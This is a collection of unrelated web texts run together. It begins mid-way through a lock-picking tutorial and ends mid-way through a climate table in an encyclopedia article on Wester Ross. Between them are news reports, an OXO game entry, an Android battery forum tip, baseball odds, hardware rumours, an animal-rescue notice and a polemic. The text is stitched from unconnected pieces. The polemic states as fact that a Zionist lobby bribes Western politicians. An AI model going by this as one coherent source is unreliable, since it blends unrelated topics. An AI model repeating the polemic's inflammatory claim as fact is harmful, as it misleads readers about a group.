Next, stick the straight end of the bobby pin about 1/3 of an inch into the keyhole of your lock and apply enough pressure to bend the end of the pin into a hook.  Other Lock Picking Infographics  The art of lock picking, like every craft and skill, involves much more than originally meets the eye. So many questions and concerns arise when venturing into a new craft. To conclude this infographical series, we will touch on the subjects unrelated to the actual techniques of lock picking, starting with applicable laws.  Us Lock Picking Laws  Before you consider buying a set of lock picks, it is always preferred that you check your state or country laws regarding the legality of owning locksmithing tools. In the United States, there are only five states that do not allow possession of lock picking tools. These states are Mississippi, Nevada, Ohio, Virginia, and Tennessee. Any other state is free game! For more information on the legality in your state or country check out LockWiki.  Taking Your Lock Picking Skills Further!  [quads id=”2″] While this simple guide is enough to get anyone’s feet wet, the craft of lock picking doesn’t stop here. Not by a long shot! These were but simple steps for anyone to mimic. By learning the basic theory and techniques behind lock picking, your success at picking locks will skyrocket. And the best part is, it’s not a terribly difficult skill to acquire. Within hours you could be picking locks with a seemingly innate knowledge of not only how locks work, but what exactly you are manipulating within them. If you wish to develop your lock picking skills beyond mere mediocrity, take a look at our comprehensive beginner’s guide to lock picking!  Beginner Lock Picking Sets  Owning and using the correct tools is vital to any lock picking venture. They not only aid in your success, but they help you develop the “feel” and consistency required to become proficient at the craft. A quality set of lock picks is a relatively low-cost investment and will always be there in your time of need. Be sure to take a look at our most demanded lock pick set below or visit our store for more lock picking sets!  As always, Happy Picking!  5/5 (1 Review)
-The Hollywood star of Republican Party frontrunner Donald Trump has been vandalised and defecated on by both humans and their pets.  The US presidential hopeful has had a star on the Hollywood Walk of Fame since 2007 following the success of reality television show The Apprentice.  However the gold and brass star has recently been subjected to vandalism, including a spray-painted swastika and pet poo, as many Americans take issue with the real estate mogul's rhetoric and policy plans, The Los Angeles Times reported.  However, officials of the Walk of Fame told The Times they have no plans to remove the star.  "The Hollywood Walk of Fame is a registered historic landmark," president of the Hollywood Chamber of Commerce, which operates the Walk of Fame," said Leron Gubler.  "Once a star has been added to the walk, it is considered a part of the historic fabric of the Hollywood Walk of Fame.
-Disney’s Muppets Most Wanted sees the entire Muppets gang on a global tour, selling out grand theatres in some of Europe’s most exciting destinations: Berlin, Madrid, Dublin and London. But mayhem follows the Muppets overseas, as they find themselves unwittingly entangled in an international crime caper headed by Constantine—the World’s Number One Criminal and a dead ringer for Kermit the Frog—and his dastardly sidekick Dominic, aka Number Two, played by Ricky Gervais.  Advertisement  But if you were to join the Muppets on tour, who would you be? Are you a diva like Miss Piggy? A comedian like Fozzie or are you meant to be green like ol’Kermit? There’s only one way to find out…  Advertisement  Disney’s Muppets Most Wanted is available on Blu-ray Combo Pack, Digital HD, DVD, Disney Movies Anywhere, and On-Demand 11 August 2014
-It is the world's most isolated country, a place where the weekly television highlight is It's So Funny, a long-running comedy show in which two uniformed soldiers perform slapstick sketches in between lectures about the greatness of Supreme Leader Kim Jong-un.  Now, however, hope – or at least variety – is at hand for the people of North Korea. After months of negotiations with the British government, the totalitarian dictatorship has finally selected three BBC programmes that the state is willing to consider showing its people: Dr Who, Top Gear and Teletubbies.  "Extensive enquiries have been made about what these three shows involve and if they would be suitable for the [North] Korean people," a Pyongyang insider explained. "Anything too political was not suitable but these are entertainment shows, and one of them is for young children."  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  The decision follows a BBC initiative last year, supported by the Foreign Office, to draw up a list of programmes that the North Koreans might consider obtaining. At the time, the Foreign Secretary William Hague hailed it as "a good way to improve understanding about the outside world within such a closed society".  Negotiations with the closely controlled state proved tortuous, however. A delegation from the North Korean embassy in London visited the Foreign Office to discuss the proposal, but months were then spent selecting the three shows as worthy of consideration.  A report has been written on each of them to be sent to Pyongyang. No timescale has been given for when an answer is expected, although the British embassy in the North Korean capital is helping to facilitate contact between the BBC's commercial wing, BBC Worldwide, and local broadcasting authorities.  The BBC would not comment on what shows were chosen or why "until or unless an agreement is concluded". But the Doctor Who Appreciation Society had no doubt the timelord's adventures would prove a hit. "If there are children and young adults in North Korea who like the excitement of science fiction and the ability to tell a different story every week," said leading Whovian Antony Wainer, "they'll like Doctor Who."  The country's state broadcaster, Korean Central Television, is only on air for six and a half hours every night. A third of the output is spent praising the government, while another third extols workers to toil harder for the affection of the Dear Leader. Any UK programmes would likely be edited to ensure the removal of ideologically improper elements.  It was reported last month that male university students are being instructed to get the same haircut as Kim Jong-un, though the claim has no reliable source. But the appearance of those on screen is closely regulated, with television news readers required to have specific haircuts and wear certain colours.  The watching of non-sanctioned programmes is harshly punished. Eighty people were reportedly shot recently for crimes that included being caught with pirated copies of South Korean programmes. Such penalties have failed to dampen demand, however, perhaps explaining the regime's willingness to consider foreign exports and so make its own channels more popular. Many North Koreans store foreign programmes on USB sticks, which can be pulled out and hidden from police if required.
-Moviemaker David Lynch has unearthed lost outtakes featuring the late Dennis Hopper for the upcoming Blu Ray release of cult film Blue Velvet.  The Twin Peaks director felt sure the footage of Hopper and Kyle MACLachlan had been destroyed, and was thrilled to find it during a clear-out.  Lynch tells Los Angeles radio station KCRW, "I find out that Dino (De Laurentiis), the producer, doesn't know where they are. They're gone. His company went bankrupt, it was taken over by another company, and then it was sold to other companies. No one knew where they were, they were gone. So depressing.  "Lately, those have been found. Somewhere up in Seattle. It's incredible. I'm seeing stuff I thought was gone forever. And hopefully some of those scenes... will end up on the new Blu Ray."
-Stanley Kubrick’s 2001: A Space Odyssey is one of the best films ever made. Almost 50 years after its release, it remains a topic of heated discussion and great reverence. It’s one of those films you could only dream to own a part of. But now you can.  The San Francisco Art Exchange is selling a collection of work called The 2001 File, an archive of over 1,500 sketches, designs, paintings, and more that production designer and art director Harry Lange created for Kubrick’s film.  Advertisement  This is truly historical, jaw-dropping stuff. It’s work Lange did specifically at Kubrick’s request, much of which made it into the movie almost exactly. Here’s just a teeny, tiny taste of what’s available.  Advertisement  Advertisement  As you can see, almost every one of those pieces is instantly recognizable as being a part of 2001. These are the original drawings used to spark those designs and sets in the final film.  Advertisement  “Lange’s illustrations are stunning to look at, and as you take them in you realize that they represent a kind of guided dreaming,” Theron Kabrich, co-founder and co-director of the SFAE, said in a press release. “2001 came at a very important period of time. America was working on going to the moon, and the film made space exploration seem imminent. Kubrick, [Arthur C. Clarke], and Lange didn’t put it so far out into the future that we couldn’t feel it. It’s pretty remarkable to look at Lange’s work from 50 years ago and see that so much of what he predicted is now part of our everyday life.”  So this stuff is awesome, right? Well, here’s the bad news. First, it’s not on public display. Second, it’s all for sale but it ain’t gonna be cheap. The SFAE has estimated the collection is worth $8.75 million so, yeah. These are for serious collectors only. But if you are one of those, or if you have questions, you can contact San Francisco Art Exchange at sales@sfae.com, or call 415-441-8840.
-For other uses, see Oxo  OXO or Noughts and Crosses is a video game developed by A S Douglas in 1952 which simulates a game of noughts and crosses. It was one of the first games developed in the early history of video games. Douglas programmed the game as part of a thesis on human-computer interaction at the University of Cambridge.  It was written on the Electronic Delay Storage Automatic Calculator (EDSAC). EDSAC was one of the first stored-program computers, with memory that could be read from or written to, and had three small cathode ray tube screens to display the state of the memory; Douglas re-purposed one screen to demonstrate portraying other information to the user, such as the state of a noughts and crosses game. After the game served its purpose, it was discarded on the original hardware but later successfully reconstructed.  OXO, along with a draughts game by Christopher Strachey completed around the same time, is one of the earliest known games to display visuals on an electronic screen. Under some definitions, it thus may qualify as the first video game, though other definitions exclude it due to its lack of moving or real-time updating graphics.  History [ edit ]  The Electronic Delay Storage Automatic Calculator (EDSAC) mainframe computer was built in the University of Cambridge's Mathematical Laboratory between 1946 and 6 May 1949, when it ran its first program,[1][2] and remained in use until 11 July 1958.[3] The EDSAC was one of the first stored-program computers, with memory that could be read from or written to, and filled an entire room; it included three 35×16 dot matrix cathode ray tubes (CRTs) to graphically display the state of the computer's memory.[4][5] As a part of a thesis on human-computer interaction, Sandy Douglas, a doctoral candidate in mathematics at the university, used one of these screens to portray other information to the user; he chose to do so via displaying the current state of a game.[6][7]  Douglas used the EDSAC to simulate a game of noughts and crosses, and display the state of the game on the screen. Like other early video games, after serving Douglas's purpose, the game was discarded.[4] Douglas did not give the game a name beyond "noughts and crosses"; the name OXO first appeared as the name of the simulation file created by computer historian Martin Campbell-Kelly while creating a simulation of the EDSAC several decades later.[8] Around the same time that OXO was completed, Christopher Strachey expanded a draughts program he had originally written in 1951 and ported it to the Ferranti Mark 1, which showed the state of the game on a CRT display.[9][10] OXO and Strachey's draughts program are the earliest known games to display visuals on an electronic screen, though it is unclear which of the two games was displayed first.[7] As it ran on a computing device and used a graphical display, OXO is considered under some definitions to be a contender for the first video game,[11] though under others it does not due to its lack of moving graphics or graphics which update continuously.[12]  Interaction [ edit ]  Each game was played by one user against an artificially intelligent opponent, which could play a "perfect" game. The player entered their input using a rotary telephone controller, selecting which of the nine squares on the board they wished to move next. Their move would appear on the screen, and then the computer's move would follow; the game display only updated when the game state changed.[8] OXO was not available to the general public and could only be played in the University of Cambridge's Mathematical Laboratory by special permission, as the EDSAC could not be moved, and both the computer and the game were only intended for academic research purposes.[13]
-What if the battery is not calibrated to begin with?  You can delete batterystats.bin while its charging.  Batterystats will get recreated if you were to unplug it.  Otherwise, it get recreated at the boot logo before the animation.  So you can delete it while it's charging, let it charge it up to 4200mV + 15 minutes or so.  Leave it plugged in.  Shut down, take out the battery, start it up and you get a battery screen with the ? and then pop the battery back in and it will show 60% at first and if it's fully charged, it will show 100% soon enough.  Not sure if it works on other phones, but on droids and milestones you can boot the phone up without the battery.  This way to calibrate is pretty cool.  After deleting and charging, reboot phone normally but take the battery out before the logo and the phone keeps on booting.  Then you pop the battery back in at the lock screen and you can monitor everything with battery monitor widget.  Anyway, full guide in in my signature.
-RBI Governor Raghuram Rajan has said that one should not think of making a fortune while serving poorest of the poor. Reuters  Asking micro-lenders to look at only a “reasonable profit” to sustain their business while serving borrowers at the bottom of pyramid, RBI Governor Raghuram Rajan has said that one should not think of making a fortune while serving poorest of the poor.  Advertising  The comments come in sharp contrast to management guru late CK Prahalad’s views in his book ‘The Fortune at the Bottom of the Pyramid’.  The concept of the fortune at the bottom of the pyramid originally appeared in an article by Prahalad and Stuart L Hart in business journal ‘Strategy+Business’ in 2004.  That was followed by a book with the same title that discussed new business models targeted at providing goods and services to the poorest.  Microsoft founder Bill Gates, a philanthropist who has seen so far spent millions annually to help the poor, has described the book as something that offers an intriguing blueprint for how to fight poverty with profitability.  Advertising  Rajan, himself is a renowned economist, said during a recent micro finance event, “I think Prahalad did a disservice by saying that there is a fortune at the bottom of the pyramid.  “My sense is that you cannot, in good conscience, make a fortune at the bottom of the pyramid. Make reasonable profits, but if you start making a fortune, it does start raising societal anxiety about how the fortune is being made”.  Following the advice of Prahalad, many companies across the world and especially consumer goods, auto and telecom marketers in the country, have begun to tap the underserved markets and made a big market out of them, Rajan said.  He added however that reasonable profit must be there at the bottom of the pyramid as the business has to be self-sustaining.  “If business is not self-sustaining, then entities Will make a pretence of doing the business, but they are not really going to get engaged until there are profits,” Rajan noted.  The poor who want to borrow often face local monopolies, which in the long-run can be taken care of by market competition, but in short-run borrowers have to deal with it, Rajan said.  “When they face local monopolies, then essentially we don’t have the presence of a competition commission right at the grassroots. And therefore, sometimes laws like you cannot charge more than a certain amount may be necessary to protect the poor,” he said.  Rajan said an interest rate cap on loans given by MFIs may force some people to go to money lenders who are outside the formal system and can charge an arm and a leg, but at the same time it ensures protection of consumers.  He said: “So, we should have a reasonable ceiling…not too low but not so high that it is irrelevant. When we have more competition we can remove this ceiling.  “For now, despite the MFIs saying that the ceiling is harmful, and I admit it does harm certain individuals who are forced into the hands of the money lender, it is something that we should continuously re-examine but we probably have to live with it at this point.”  The Reserve Bank had in April 2012 capped the interest rate on MFI loans at 26 per cent following the Malegam committee report.  RBI set up the Malegam committee after the October 2010 MFI crisis in Andhra, when the state banned MFIs from coercively collecting instalments after some borrowers allegedly committed suicides fearing recovery agents.  Advertising  This led to a massive default by borrowers in the undivided state from which the then largest MFI market is yet to recover.
-Last week we helped the Brookings Institution’s Hutchins Center on Fiscal and Monetary Policy organize “Beyond bitcoin: The future of blockchain and disruptive financial technologies,” a roundtable discussion among industry, government, and experts, as well as a public panel discussion. The event looked at blockchain technologies like Bitcoin and examined their use-cases, especially in the context of regulation. Joining us were experts from across the industry representing diverse perspectives on the future of this technology. In particular, there were notable discussions on the value of permissioned or closed ledgers as compared to permissionless or open ledgers. While we do not yet know how the future of this technology will shake out, I got an opportunity to lay out the case for decentralized permissionless ledgers [See above].  Later, we discussed the risks that fast-paced innovation presents, and I made the case that the answer is not precautionary regulation, but to allow the technology to develop and only intervene where there is a clear problem--especially since the technology will continue to be developed even with prophylactic regulation.  Finally, our senior policy counsel, Robin Weisman, laid out the questions and challenges regulators face with cryptocurrency technology:  You can see the day’s full proceedings here.
-Anyone who dares criticize Israel’s treatment of the Palestinians knows what to expect: accusations of being “anti-Israel” or “anti-Semitic.” In mainstream political and academic circles, the topic can be especially toxic as “pro-Israel” zealots go to great lengths to block even a debate, writes Lawrence Davidson.  By Lawrence Davidson  Here is the situation: the threat of aggressive public protests against those assembling to critically discuss the behavior of Israel has become an excuse to shut down such gatherings. The latest example of this tactic , which is really a form of blackmail to impose censorship, took place earlier this month at the University of Southampton in the UK.  An international conference entitled “International Law and the State of Israel: Legitimacy, Responsibility and Exceptionalism” was scheduled for April 17-19, 2015, at the University of Southampton. It was to bring together lawyers and scholars to examine the legal basis for the establishment of the State of Israel and the rationales (or lack thereof) for its historical treatment of the Palestinian people.  The standard by which these issues were to be judged was international law. The conference would also have examined the issue of exceptionalism when it came to the inadequate legal and diplomatic response to Israeli policies and behavior. Conference participants were to include both those critical of Israel and those who would present a defense of Israeli practices.  This conference had been planned for over a year, yet days before its opening Southampton University announced that it would not allow the gathering to go ahead on its campus because there were “risks to safety and public order.” This was due to expected protests against the conference.  Where did these risks come from? They originated with Zionists and their allies. Specifically, the Sussex Friends of Israel were ready to bring out as many as 300 peaceful protesters. In addition, there was likely to be a very small number of English Defense League members, who are anti-Muslim, pro-Israel, and potentially violent.  Certainly the Zionist rhetoric was aggressive and emotionally charged. The conference was described as a gathering of “Israel-haters,” “a rally of bigots,” a gathering of “toxic speakers,” and an “anti-Israel carnival.” It made no difference to these ideologically driven zealots that what was really planned was a sober investigation of historical patterns of behavior against the backdrop of internationally recognized legal norms.  Though the negative emotional energy ran high, the actual danger from the planned protests was probably quite minimal, and the local police declared themselves capable and ready to handle the situation. Nonetheless, instead of acting resolutely against those who would threaten free speech, the university simply gave in.  It essentially ran scared not only from exaggerated threats of violence but, as seems always to be the case, from the wrath of a small number of financial donors who threatened to stop supporting the institution if it provided a forum for open discussion of issues that cast Israel in a poor light. Essentially, Southampton University allowed itself to be blackmailed by Zionist censors.  One can speculate on what would have been the case if the situation were reversed. That is, if pro-Palestinian demonstrators had implied a “risk to safety and public order” at a Zionist conference upholding Israeli practices. The army would have been called out before such a conference was canceled.  An Ongoing Tactic  This is not the first time this sort of scenario has played out. Back in 2001 the president of the University of South Florida, Judy Genshaft, forced Dr. Sami Al-Arian , then a member of the faculty, to stay away from the campus because of negative and slanderous media publicity and Zionist threats against him.  This all stemmed from his vocal support of Palestinian rights. Here too a university administration allowed itself to be blackmailed by ideologically driven zealots. In the process it abandoned the principle of free speech and allowed censorship to prevail through threats of disruption.  There are other suspicious occurrences that may have been brought about by quieter forms of the same censoring pressures. For instance, in March, this writer was invited to address the prestigious Oxford Union in London on a topic that would, in part, cover U.S. foreign policy in support of Israel. Within five days the invitation was withdrawn.  The quick turnaround called into doubt the Oxford Union’s claim that the cause of the withdrawal was scheduling problems. While it is not possible to say for sure that the reversal was due to Zionist pressure, the present atmosphere of aggressive Zionist efforts to stymie all criticism of Israel and its supporters, makes this sort of occurrence appear suspicious.  What is going on here is not only the censoring of those critical of Israel, but the undermining of the rule of law, particularly international law. The irony is that much of this body of law was promulgated because of the savage persecution experienced by Europe’s Jews and others during the World War II.  However, the Zionist element among Jewry (not all Jews) decided that their future lay not in the support of law, but in the creation of a state through a process of imperial invasion and colonial settlement. They pursued this objective just at the time when both classical imperialism and colonialism were going out of style and the European empires were falling apart.  Thus, even at the moment it succeeded in establishing the State of Israel, Zionism was already an anachronism – an ideology that could only prevail through aggression and racist policies in a world that was trying to outlaw both types of behavior.  That Zionism has, to date, gained its goal is largely due to its having achieved for Israel an “exceptional” status in the West that has allowed it to escape the rule of law. In other words, Israel has evolved into a “rogue” state that is being protected by Western powers, particularly the United States.  Israel has achieved this “exceptional” status by two means: first, the Zionist corruption of Western governments through a lobby process involving the bribing of politicians, and second, through the exploitation of the Western fear of the Arab and Islamic world.  The Zionists always complain that Israel is being singled out. For instance, one of the gambits used to attack the Southampton conference was as follows : “no academic conference on Pakistan, for instance, founded just a year before Israel, would consist solely of discussion on whether it should have been created and how to end it.”  Putting aside the fact that this is an overly simplistic, and thus distorted, description of the Southampton conference, the comparison with Pakistan is off base. Pakistan was created as part of a process of decolonization. Israel was created in defiance of that same process. Zionist ideology, like any form of dogmatic thinking, ends up skewing history to its own needs.  Actually, as long as Israel insists on being “a Jewish state” instead of a democratic state of all its citizens, it must walk the path of apartheid. And, it can only get away with that through successfully maintaining an exceptional status – a status that puts it above international law.  The Southampton conference would have exposed this situation in a factual and sober way – in a way that would be hard for any fair-minded person to doubt. That is why the Zionists went to such lengths to shut it down.
-Update: Jan. 13, 2015 – MSPCA begins accepting applications on rescued Dachshunds  The Boston and Methuen adoption centers will begin accepting applications for adoption for the large group of Dachshunds that were surrendered last Tuesday. Since their surrender the adoption center staffs have been hard at work assessing the medical and behavior needs of each individual dog and are nearing a point where the dogs will be ready to be adopted into new and loving families.  In the next few days the staff will be finishing their treatments and scheduling their spay/neuter surgeries prior to them being made available for adoption. In the meantime we will be starting the application process with interested parties. Since the announcement of this large surrender hundreds of potential adopters have contacted our centers about adopting these dogs. We are excited by the outpouring of support from the public, but also recognize the number of interested parties far outnumbers the number of dogs we will have available for adoption. To be as fair as possible and to help us choose the best possible homes for these dogs, applications for adoption will be accepted in person at each of our adoption centers on Wednesday January 14th andThursday January 15th during open hours (please see our website for open hours as each location’s hours vary). Applicants will be interviewed individually by adoption center staff and determination of adoption eligibility will be made after all applications are collected and reviewed. To make the process more efficient we ask that people review our adoption criteria and bring all necessary documentation with them at the time of applying.  If you are applying at the Boston Adoption Center, click here for the adoption criteria.  If you are applying at the Methuen Adoption Center, click here for the adoption criteria.  Important considerations prior to adoption  It’s important for families to recognize that these dogs have come from an environment that is very different than a regular home environment and were housed in large groups. As a result we want to be sure that families interested in adoption have given careful consideration to the needs of these dogs and the challenges they may encounter as they transition from a large group to individual companions. Each dog will likely need considerable help with housebreaking and will likely require a behavior modification plan to help with this. It is also important for people to understand that because these dogs have been living in a large group and were isolated from normal daily life they may take time to adjust to the normal life of a dog. Families should be sure that they have the patience, time and resources necessary to work through these issues prior to applying.  BOSTON and Methuen, Mass. Jan. 6, 2015 – Seventy one Dachshund-type dogs were voluntarily surrendered to the Westminster, Mass. Animal Control facility last night from a home at 21 Harrington Road in Westminster, and 60 of the animals have been transported to the MSPCA-Angell’s adoption centers in Boston and Methuen, the organization announced today. The remaining dogs will stay at the Westminster facility until new adoptive homes can be found.  The dogs—a mix of males, females and puppies—arrived at the MSPCA adoption centers this afternoon, where they await veterinary and behavioral evaluations.  Most of the dogs are underweight and matted and some are coated in urine and feces. The conditions inside the home have been described as extremely dirty. Moreover, some of the dogs were housed in cages outside, with little protection from the elements.  Law Enforcement Investigation  The MSPCA’s Law Enforcement department has opened an investigation. “At this stage we cannot comment on the status of the investigation but, should there be details we can release in the days and weeks ahead, we will do so,” said law enforcement officer Nadya Branca.  Mike Keiley, director of the Noble Family Animal Care and Adoption Center at the MSPCA-Nevins Farm in Methuen, is overseeing the arrival and the sheltering of 30 of the dogs. “We’ll do everything we can to make the dogs comfortable, and we expect to carry out health and behavior checks in the days ahead,” he said.  Keiley also stressed the need for patience, particularly among those eager to adopt. “The dogs are coming from a traumatic environment and they’ll need time to settle down. They’ll need to be spayed and neutered, and they’ll likely have some health issues that we’ll need to help them overcome.”  The MSPCA will announce availability of the dogs for adoption once these evaluations have been completed.  ###  The MSPCA-Angell is a national and international leader in animal protection and veterinary medicine and provides direct hands-on care for thousands of animals each year. Founded in 1868, it is the second-oldest humane society in the United States. Services include animal protection and adoption, advocacy, humane education, law enforcement, and world-class veterinary care. The MSPCA-Angell is a private, non-profit organization. It does not receive any government funding nor is it funded or operated by any national humane organization. The MSPCA-Angell relies solely on the support and contributions from individuals who care about animals. Please visit www.mspca.org and like us on Facebook at www.facebook.com/mspcaangell
-JOHN KEY: The Prime Minister the naming of the staffing at the heart of the briefing is "no big deal one way or the other."  The prime minister's office has released the name of the staff member briefed by the SIS over the release of information to WhaleOil blogger Cameron Slater.  A spokeswoman for Prime Minister John Key confirmed former deputy chief of staff Phil de Joux was told by SIS director Warren Tucker under the "no surprises" policy that Slater would be receiving the declassified documents.  Nicky Hager said in his Dirty Politics book that Slater received the response to his Official Information Act request within a week, and quoted Facebook messages suggesting Slater knew what would be in the documents.  He alleged Slater was tipped off by Key's staff to ask for the papers, which embarrassed then-Labour leader Phil Goff who wrongly denied being briefed by the SIS.  Key came under fire after he denied being briefed about the release of the documents to Slater - video footage emerged of Key saying Tucker had discussed the matter with him.  Key later clarified that in that context, briefing the prime minister meant briefing the prime minister's office.  He refused to disclose which of his staff members had been briefed by Tucker, however.  Today Key said he was "comfortable" with the release of de Joux's name, a matter the Ombudsman was investigating.  "The only reason we didn't name names is simply because these people handle sensitive information and in the case of Phil de Joux he now works in the private sector, so it's really just a privacy matter, but it's no big deal one way or the other."  Goff says it was "very hard to believe that material that came from the SIS, the Prime Minister wouldn't have known what his staff was doing about it".  "I know with Helen Clark, anything to do with the SIS she dealt with personally. I can't believe any staff member would leak material from the SIS without ... John Key knowing about it."  Goff said SIS briefings were never released, other than on this occasion.  Labour leader David Cunliffe said Key's initial claims that the details should not be released in order to protect the staff member was not believable.  "This calls into real question whether or not the prime minister knew that this OIA request from Whaleoil was manipulated by the SIS. It's not good whichever way you look at it."  Cunliffe said that "every day we find out more about the prime minister's office and dirty dealings and in this case the fact that his deputy chief of staff was involved with the SIS in dumping papers on Phil Goff, it's not right and that's why we need a very very broad inquiry around ministerial abuses of power."  It was a "sacking offence" if the deputy chief of staff had not briefed Key, he said.  The Inspector-General of Security and Intelligence launched an inquiry in response to the allegations that SIS documents were declassified so Slater's information request could be fast-tracked.  Goff gave evidence to the inquiry on September 8, and said the obvious explanation for the specificity of Slater's request was that he had a source for the information which "in the nature of SIS briefings could only have been either within the SIS itself or the prime minister or his office."
-Going into the league championship round of the MLB playoffs, the Toronto Blue Jays and Chicago Cubs were looking like the best bets to meet in the World Series next week. According to our Elo ratings, they were the two strongest squads in baseball, and while neither team had home-field advantage in its LCS matchup, each was favored to win regardless.  The Blue Jays and Cubs both dropped the first two games of their series on the road, however, to the Kansas City Royals and the New York Mets, respectively. Both are now staring at a radically different postseason landscape. Chicago and Toronto still grade out as MLB’s top two teams according to Elo (the Cubs are still clear of Kansas City for No. 2, by a fraction of a rating point), but there’s only a 5 percent chance they’ll both mount comebacks and rendezvous on baseball’s biggest stage.  TEAM ELO RATING MAKE WORLD SERIES WIN WORLD SERIES Kansas City Royals 1556 79.2% 43.7% New York Mets 1536 76.5 32.0 Toronto Blue Jays 1567 20.8 12.2 Chicago Cubs 1556 23.5 12.2  Instead — as you would expect — Elo thinks the most likely World Series matchup by far (with a 60 percent probability) is a Mets-Royals showdown — a battle of the champs from 1985 and 1986. That means there’s still a 40 percent chance that either the Jays or Cubs will manage a revival, so it won’t be completely stunning if at least one 0-2 comeback takes place. But the prospect of both is looking pretty improbable, despite the strength of the two trailing teams.  And if a Mets-Royals World Series does happen, Elo gives the Royals the edge, with a 58 percent chance of winning the hypothetical matchup. Not only would they hold home-field advantage thanks to the American League’s All-Star Game victory, but Elo also thinks Kansas City is the better team — particularly in the universe in which it wins the ALCS, because that will have meant the Royals won two more games against Toronto, currently rated as MLB’s best team.
-Our surveys indicate that Apple’s last iMac model, released at end-2012 with an all-new-design, shipped fewer-than-expected units in the worldwide market. We think the price was set too high and the model failed to make an impact in critical foreign markets like China. We thus think Apple may offer a budget iMac model to push shipments among non-US markets in the face of solid competition from Levono (CN), HP (US) and other rivals.  Intel may release an update to its desktop Haswell processors in May, according to a report in TechPowerUp that cites Hermitage Akihabara as its source. The report claims Intel will launch its new processors, including its flagship Core i7-4790K, on May 10th in most markets. These next generation Haswell chips will include Intel's Z97 chipset, which provides support for faster and larger M.2 SATA Express drives.The new Haswell desktop processors will offer a 100 MHz bump in clock speeds and will be a direct successor to most of the chips currently used in the iMac, with the exception of the low-end 21.5-inch iMac, which uses a special i5-4570R chip enhanced with Intel's Iris 5200 integrated graphics. Intel may have a compatible replacement processor under development, but leaked information has not yet revealed this corresponding model.These chips may lay the groundwork for an iMac refresh that Apple is planning in 2014. Apple allegedly has a low-priced iMac model in the works, claims KGI Securities analyst Ming-Chi Kuo in a research note published this week. This less expensive model may be Apple's first major product launch in 2014 and could boost iMac shipments by up to 30 percent.Though Intel's desktop processors may be slated for a refresh as early as next month, the timing for the release of the mobile processors used in Apple's MacBook Air and MacBook Pro are not yet known. The latest information leaked earlier this year by VR-Zone suggests low-end models of Intel's next-generation Broadwell processor may debut in Q3 2014, with the roadmap for high-end processors compatible with Apple's MacBook line still up in the air.Speed bumped versions of the current Haswell chips in the MacBook Air and MacBook Pro may appear at the end of 2014, but that release date still is uncertain at this point and would only provide a small upgrade heading into Broadwell next year.
-Wester Ross (Scottish Gaelic: Taobh Siar Rois) is an area of the Northwest Highlands of Scotland in the council area of Highland. The area is loosely defined, and has never been used as a formal administrative region in its own right,[2] but is generally regarded as lying to the west of the main watershed of Ross (the eastern part of Ross being Easter Ross), thus forming the western half of the county of Ross and Cromarty. The southernmost-part of western Ross and Cromarty, Lochalsh, is excluded from the definition of Wester Ross by the local tourist organisation, Visit Wester Ross,[3] but included within the definition used by the Wester Ross Biosphere Reserve.[4]  Wester Ross is renowned for the scenic splendour of its mountains and coastline,[5] and the range of wildlife that can be seen.[6] The area is a popular tourist destination, receiving around 70,000 visitors each year.[7] Tourism forms a major part of the economic activity of the area, accounting for 35 % of all employment.[7] Other major economic activities in the area include commercial fishing, renewable energy, agriculture and fish farming.[7][8][9]  The area gives its name to the Wester Ross National Scenic Area, one of 40 such areas in Scotland, which are defined so as to identify areas of exceptional scenery and to ensure their protection from inappropriate development.[10] Scenic spots including Loch Maree, Inverewe Garden, Corrieshalloch Gorge, Glen Docherty and the Bealach na Bà. Wester Ross was designated as a Biosphere Reserve in April 2016.[11]  Geology [ edit ]  The geology of Wester Ross consists predominantly of Torridonian sandstone and Lewisian gneiss. The latter was formed during the Precambrian period, and is the oldest rock type found in Scotland;[12] indeed the rocks around Gruinard Bay are, at 2.5 billion years old, amongst the oldest rocks in the world.[5] The Torridonian sandstone was formed by the deposition of sediment on top of the gneiss around 750 million years ago. The linear geological feature of Moine Thrust Belt runs northeast across the area from near Kyle of Lochalsh. The area was heavily glaciated during the ice age, with all but the highest peaks being covered by glaciers, leading to the steep-sided glens and deep sea lochs that characterise the area today.[12]  Geography [ edit ]  Location of Wester Ross and Easter Ross within Scotland.  Wester Ross is well known for its spectacular mountain scenery, especially the Torridon Hills which includes such peaks as Beinn Eighe and Liathach.[5] Although many peaks in the Northwest highlands exhibit Torridonian geology, the Torridon Hills are generally considered only to be those in the Torridon Forest to the north of Glen Torridon: the Munros of Liathach, Beinn Eighe, and Beinn Alligin; and the Corbetts of Beinn Dearg, Baosbheinn and Beinn an Eoin.[13][14] Other notable "Torridonian" peaks in Wester Ross include An Teallach and Slioch,[5] in the Dundonnell and Fisherfield Forest in the north of the area, and the hills of the Coulin Forest between Glen Torridon and Strathcarron.[13][14] Torridonian hills exhibit some of the most dramatic mountain scenery in the British Isles, surpassed in grandeur probably only by the Cuillin of Skye. The hills sit apart from each other, and are often likened to castles. They have steep terraced sides, and broken summit crests, riven into many pinnacles. There are many steep gullies running down the terraced sides. The summit ridges provide excellent scrambling, and are popular with hill walkers and mountaineers. However, like many ridge routes, there are few escape points, so once committed, the scrambler or hillwalker must complete the entire ridge before descent. Under winter conditions, many walking routes in Wester Ross become serious expeditions.[13]  In contrast to the isolated Torridonian peaks that characterise much of Wester Ross, the mountains of Kintail in the south of the area take the form of peaks linked by ridges that rise steeply from narrow glens and the sea.[15]  Most of the major roads in the area radiate out from the more populated areas of Easter Ross, and link the settlements on the western coast to Inverness. Less major roads link these east-west routes to form a north-south route along the coast between Kyle of Lochalsh and Ullapool. This route has been marketed to tourists as the Wester Ross Coastal Trail,[16][17] and also forms part of the North Coast 500 tourist route.[18] The only railway line in Wester Ross is the Kyle of Lochalsh line, which is operated by ScotRail and provides a link between the southern part of the region and Inverness. Four services a day operate on the line, calling at stations at Achnasheen, Achnashellach, Strathcarron, Attadale, Stromeferry, Duncraig, Plockton and Duirinish, terminating at Kyle of Lochalsh.[19]  Climate [ edit ]  Wester Ross experiences a relatively mild maritime climate (Köppen Cfb) despite being located at a latitude of between 57.2° and 58.0° North due to the influence of the Gulf Stream. The tables below provide data for three locations within the area: Aultbea, located on the coast near Poolewe; Kinlochewe, located in a more inland position at the head of Loch Maree; and the summit of the Bealach na Bà, located 600 m above sea level in a coastal location.  Climate data for Aultbea Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Average high °C (°F) 7.6  (45.7) 7.6  (45.7) 8.8  (47.8) 11.0  (51.8) 13.8  (56.8) 15.6  (60.1) 17.2  (63.0) 16.9  (62.4) 15.2  